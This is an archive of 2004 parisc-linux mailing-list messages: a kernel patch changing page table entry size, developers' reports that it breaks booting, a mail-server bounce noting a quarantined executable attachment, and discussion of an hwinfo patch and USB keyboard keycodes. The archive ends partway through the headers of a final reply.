Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Wed May  5 14:50:45 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id F4172482C; Wed,  5 May 2004 14:50:44 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i45Koia19893; Wed, 5 May 2004 16:50:44 -0400
In-Reply-To: <20040505204811.27F0C4945E4@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 05 May 2004 20:50:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21609

On Wed, 2004-05-05 at 15:48, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/05/05 14:48:11
> 
> Modified files:
> 	.              : Makefile 
> 	include/asm-parisc: page.h pgtable.h 
> 
> Log message:
> Move to 8 byte Page Table Entries for 32 bit kernels.  This allows us
> to recover sixteen flag bits (the sixteen bits at the top of the pte for
> 64 bit - 48 address bits is pretty unlikely to be hit soon) on both 32
> and 64 bits.

===== include/asm-parisc/page.h 1.10 vs edited =====
--- 1.10/include/asm-parisc/page.h	Mon May  3 14:40:20 2004
+++ edited/include/asm-parisc/page.h	Wed May  5 10:12:19 2004
@@ -40,7 +40,14 @@
 /*
  * These are used to make use of C type-checking..
  */
+#ifdef __LP64__
 typedef struct { unsigned long pte; } pte_t;
+#else
+typedef struct {
+	unsigned long pte;
+	unsigned long flags;
+} pte_t;
+#endif
 /* NOTE: even on 64 bits, these entries are __u32 because we allocate
  * the pmd and pgd in ZONE_DMA (i.e. under 4GB) */
 typedef struct { __u32 pmd; } pmd_t;
@@ -48,6 +55,11 @@
 typedef struct { unsigned long pgprot; } pgprot_t;
 
 #define pte_val(x)	((x).pte)
+#ifdef __LP64__
+#define pte_flags(x)	#error
+#else
+#define pte_flags(x)	((x).flags)
+#endif
 #define pmd_val(x)	((x).pmd)
 #define pgd_val(x)	((x).pgd)
 #define pgprot_val(x)	((x).pgprot)
@@ -95,7 +107,7 @@
 #define BITS_PER_PMD_ENTRY	2
 #define BITS_PER_PGD_ENTRY	2
 #else
-#define BITS_PER_PTE_ENTRY	2
+#define BITS_PER_PTE_ENTRY	3
 #define BITS_PER_PMD_ENTRY	2
 #define BITS_PER_PGD_ENTRY	BITS_PER_PMD_ENTRY
 #endif
===== include/asm-parisc/pgtable.h 1.21 vs edited =====
--- 1.21/include/asm-parisc/pgtable.h	Sun May  2 05:20:20 2004
+++ edited/include/asm-parisc/pgtable.h	Wed May  5 12:13:18 2004
@@ -70,8 +70,8 @@
 #define PGD_ALLOC_ORDER	2 /* first pgd contains pmd */
 #else
 #define PT_NLEVELS	2
-#define PT_INITIAL	2 /* Number of initial page tables */
-#define PGD_ORDER	0 /* Number of pages per pgd */
+#define PT_INITIAL	4 /* Number of initial page tables */
+#define PGD_ORDER	1 /* Number of pages per pgd */
 #define PGD_ALLOC_ORDER	PGD_ORDER
 #endif
 



From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Procmail Security daemon" <postmaster@quimbaya.udea.edu.co>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Mail Delivery (failure nuben@udea.edu.co)
Date: Wed, 5 May 2004 17:04:01 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <200405052204.i45M41BU019500@quimbaya.udea.edu.co>
References: <200405052158.i45LwqY10348@chia.udea.edu.co>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623435 9287 80.91.229.3 (22 Nov 2014 02:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: nuben@quimbaya.udea.edu.co  Wed May  5 16:08:02 2004
Return-Path: <nuben@quimbaya.udea.edu.co>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from quimbaya.udea.edu.co (quimbaya.udea.edu.co [200.24.18.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id B73BC482C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 May 2004 16:07:57 -0600 (MDT)
Original-Received: from quimbaya.udea.edu.co (localhost.localdomain [127.0.0.1])
	by quimbaya.udea.edu.co (8.12.8/8.12.8) with ESMTP id i45M41nX019504;
	Wed, 5 May 2004 17:04:01 -0500
Original-Received: (from nuben@localhost)
	by quimbaya.udea.edu.co (8.12.8/8.12.8/Submit) id i45M41BU019500;
	Wed, 5 May 2004 17:04:01 -0500
In-Reply-To: <200405052158.i45LwqY10348@chia.udea.edu.co>
Original-Sender: <postmaster@quimbaya.udea.edu.co>
Errors-To: <postmaster@quimbaya.udea.edu.co>
X-Loop: EMAIL SECURITY WARNING quimbaya.udea.edu.co CHANGE THIS
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 05 May 2004 22:08:02 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21610


Regarding your message to
nuben


ATENTO SALUDO:

El mensaje que intenta ingresar al servidor quimbaya.udea.edu.co, tiene un 
anexo no permitido por el sistema, por seguridad no se entregara a su 
destinatario y sera borrado.

Cordialmente,

Centro de Capacitacin Internet
Vicerrectora de Docencia
Universidad de Antioquia
Email:  cci@quimbaya.udea.edu.co
Telefono: +57(4)210 5953
Oficina 22-234

REPORT: Trapped poisoned executable "message.scr"
REPORT: Not a document, or already poisoned by filename. Not scanned for macros.
STATUS: Message quarantined, not delivered to recipient.

--
Message sanitized on quimbaya.udea.edu.co
See http://www.impsec.org/email-tools/sanitizer-intro.html for details.



From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Wed, 5 May 2004 22:05:21 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20040506050521.GW3965@tausq.org>
References: <20040505204811.27F0C4945E4@palinux.hppa>
	<1083790244.2201.462.camel@mulgrave>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623436 9291 80.91.229.3 (22 Nov 2014 02:30:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:36 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: randolph@tausq.org  Wed May  5 23:05:19 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22D1F4843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 May 2004 23:05:19 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4CB1DCD28A; Wed,  5 May 2004 22:05:21 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1083790244.2201.462.camel@mulgrave>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 06 May 2004 05:05:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21611

> > Move to 8 byte Page Table Entries for 32 bit kernels.  This allows us
> > to recover sixteen flag bits (the sixteen bits at the top of the pte for
> > 64 bit - 48 address bits is pretty unlikely to be hit soon) on both 32
> > and 64 bits.

jejb, this seems to have broken the kernel for me. On my c3750, -pa9
doesn't boot (-pa7 is ok). With -pa9 the machine HPMC's very early
during boot (i have early debug turned on, but there was no console
output). 

unfortunately the hpmc data doesn't seem to say very much. iaoq is
pointing to skip_save_ior. rp is 0 :-(

perhaps this is sensitive to amount of physical memory in the system? i
have 1.5GB in my system. 

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Wed, 5 May 2004 22:22:57 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20040506052257.GX3965@tausq.org>
References: <20040505204811.27F0C4945E4@palinux.hppa>
	<1083790244.2201.462.camel@mulgrave>
	<20040506050521.GW3965@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623436 9292 80.91.229.3 (22 Nov 2014 02:30:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:36 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: randolph@tausq.org  Wed May  5 23:22:53 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 811FB4843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  5 May 2004 23:22:53 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 3B17FCD29F; Wed,  5 May 2004 22:22:57 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20040506050521.GW3965@tausq.org>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 06 May 2004 05:22:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21612

> jejb, this seems to have broken the kernel for me. On my c3750, -pa9
> doesn't boot (-pa7 is ok). With -pa9 the machine HPMC's very early
> during boot (i have early debug turned on, but there was no console
> output). 

i forgot to mention, this is running 32-bit.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Thu, 6 May 2004 10:33:22 +0100 (IST)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0405061029520.32526@sal.ucc.ie>
References: <20040505204811.27F0C4945E4@palinux.hppa>
	<1083790244.2201.462.camel@mulgrave>
	<20040506050521.GW3965@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623436 9296 80.91.229.3 (22 Nov 2014 02:30:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:36 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: xam@cs.ucc.ie  Thu May  6 03:33:42 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5637F4843
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 May 2004 03:33:42 -0600 (MDT)
Original-Received: from sal.ucc.ie (xam@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i469Xe0q020741;
	Thu, 6 May 2004 10:33:40 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040506050521.GW3965@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 06 May 2004 09:33:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21613

On Wed, 5 May 2004, Randolph Chung wrote:

> > > Move to 8 byte Page Table Entries for 32 bit kernels.  This allows us
> > > to recover sixteen flag bits (the sixteen bits at the top of the pte for
> > > 64 bit - 48 address bits is pretty unlikely to be hit soon) on both 32
> > > and 64 bits.
>
> jejb, this seems to have broken the kernel for me. On my c3750, -pa9
> doesn't boot (-pa7 is ok). With -pa9 the machine HPMC's very early
> during boot (i have early debug turned on, but there was no console
> output).

I tried -pa8 yesterday (32bit) on my C3000, and it also HPMCs straight
after the 'if this is the last message ...' output.

At first I thought it was related to the palo-1.4 bug, so I reinstalled
palo-1.3, but this didn't solve the problem.

> perhaps this is sensitive to amount of physical memory in the system? i
> have 1.5GB in my system.

1GB here.


Thanks,
  Max



From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@engsoc.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Thu, 6 May 2004 09:25:14 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20040506132514.GC2249@engsoc.org>
References: <20040505204811.27F0C4945E4@palinux.hppa>
	<1083790244.2201.462.camel@mulgrave>
	<20040506050521.GW3965@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623436 9298 80.91.229.3 (22 Nov 2014 02:30:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: kyle@engsoc.org  Thu May  6 07:27:07 2004
Return-Path: <kyle@engsoc.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD43B4843
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 May 2004 07:27:06 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i46DWF4o030841 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 6 May 2004 09:32:16 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1BLisE-0000s8-00
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 06 May 2004 09:25:14 -0400
Content-Disposition: inline
In-Reply-To: <20040506050521.GW3965@tausq.org>
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 06 May 2004 13:27:07 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21614

On Wed, May 05, 2004 at 10:05:21PM -0700, Randolph Chung wrote:
> jejb, this seems to have broken the kernel for me. On my c3750, -pa9
> doesn't boot (-pa7 is ok). With -pa9 the machine HPMC's very early
> during boot (i have early debug turned on, but there was no console
> output). 
> 
Same thing happens on a b180.

Regards,
-- 
Kyle McMartin


From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Morten Werner Olsen <werner@skolelinux.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: hwinfo_7.30-2: suggested patch
Date: Sat, 1 May 2004 16:27:58 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20040501142755.GB28250__46411.4537383013$1416623437$gmane$org@austin>
References: <408D4360000013CF@ocpmta2.freegates.net> <Pine.LNX.4.21.0404282123040.27664-100000@hal.pp.fishpool.fi>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416623437 9314 80.91.229.3 (22 Nov 2014 02:30:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:37 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>,
 PARISC list <parisc-linux@lists.parisc-linux.org>,
 debian-hppa@lists.debian.org
To: =?iso-8859-1?Q?Martin-=C9ric?= Racine <q-funk@pp.fishpool.fi>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 324 invoked by uid 65534); 1 May 2004 14:51:18 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) (146.82.138.6)
  by mx0.gmx.net (mx005) with SMTP; 01 May 2004 16:51:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 32A23EAC5; Sat,  1 May 2004 09:51:10 -0500 (CDT)
Old-Return-Path: <werner@skolelinux.no>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by murphy.debian.org (Postfix) with ESMTP id 61D61ED91
	for <debian-hppa@lists.debian.org>; Sat,  1 May 2004 09:27:39 -0500 (CDT)
Original-Received: from austin.wcc.no (106.80-203-231.nextgentel.com [80.203.231.106])
	by mail.broadpark.no (Postfix) with ESMTP
	id 13EB7266D; Sat,  1 May 2004 16:27:52 +0200 (MEST)
Original-Received: from werner by austin.wcc.no with local (Exim 3.36 #1 (Debian))
	id 1BJvTC-0001tX-00; Sat, 01 May 2004 16:27:58 +0200
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0404282123040.27664-100000@hal.pp.fishpool.fi>
User-Agent: Mutt/1.5.5.1+cvs20040105i
Original-Sender: Morten Werner Olsen <werner@skolelinux.no>
X-Spam-Checker-Version: SpamAssassin 2.63-lists.debian.org_2004_03_24_1 
	(2004-01-11) on murphy.debian.org
X-Spam-Status: No, hits=0.0 required=4.0 tests=none autolearn=no 
	version=2.63-lists.debian.org_2004_03_24_1
Resent-Message-ID: <dNR4NB.A.eQC.dl7kAB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/3504
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
List-Archive: <http://lists.debian.org/debian-hppa/>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sat,  1 May 2004 09:51:10 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21615

On Wed, Apr 28, 2004 at 09:23:56PM +0300, Martin-ric Racine wrote:

> Is any other work required beyond the patch you already submitted to the
> maintainer?  If so, just how much is needed?  I have some time to spare.

I don't think there is more work than including the already written
patch to get the package compiling on hppa.

The important issue is that I will not include support for hppa if the
package is not of any use for the hppa users and developers. So please
test it and see if you find the information that is provided of any
interest.


- Werner


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation-reports - hppa c3600 graphical/usb
Date: Thu, 6 May 2004 18:37:16 +0100 (IST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0405061830070.2414@sal.ucc.ie>
References: <20040506172344.GA12232@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623440 9346 80.91.229.3 (22 Nov 2014 02:30:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:40 +0000 (UTC)
Cc: submit@bugs.debian.org,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:10 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 25078 invoked by uid 65534); 6 May 2004 17:38:01 -0000
Original-Received: from dsl2.external.hp.com (EHLO dsl2.external.hp.com) (192.25.206.7)
  by mx0.gmx.net (mx043) with SMTP; 06 May 2004 19:38:01 +0200
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1523148B1; Thu,  6 May 2004 11:37:44 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9587448AA
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  6 May 2004 11:37:38 -0600 (MDT)
Original-Received: from sal.ucc.ie (xam@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i46HbZ0q002389;
	Thu, 6 May 2004 18:37:35 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040506172344.GA12232@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21616

On Thu, 6 May 2004, Grant Grundler wrote:

> Using the HP USB keyboard (Model SK-2502U, P/N A4983-60401) on an HP C3600,
> the regular 4 arrow keys (seperate from the numeric keypad) do NOT work.
> They "select" instead of moving the highlight up/down.

I also have a SK-2502U here (using Voodoo2 as graphics card).

> Use the numeric keypad instead - it has "arrow keys" on it as well.
>
> It's more "natural" to use the regular arrow keys and it should be
> trivial for the right person to fix.  I gather the numeric pad sends
> out a different scan code than the four "arrow" keys.

xev reports the following for the 'regular' arrow keys:

'<-'     keycode 100
'->'     keycode 102
  up     keycode 98
down     keycode 104

and the following for the numpad arrow keys:

'<-'     keycode 83
'->'     keycode 85
  up     keycode 80
down     keycode 88


Unfortunately I can't use 'showkey' since I'm running serial console
instead of fb console ...

Greetings,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Morrison <ja2morri@csclub.uwaterloo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation-reports - hppa c3600 graphical/usb
Date: 06 May 2004 14:42:34 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <kfh7jvpbdnp.fsf@csclub.uwaterloo.ca>
References: <20040506172344.GA12232@colo.lackof.org>
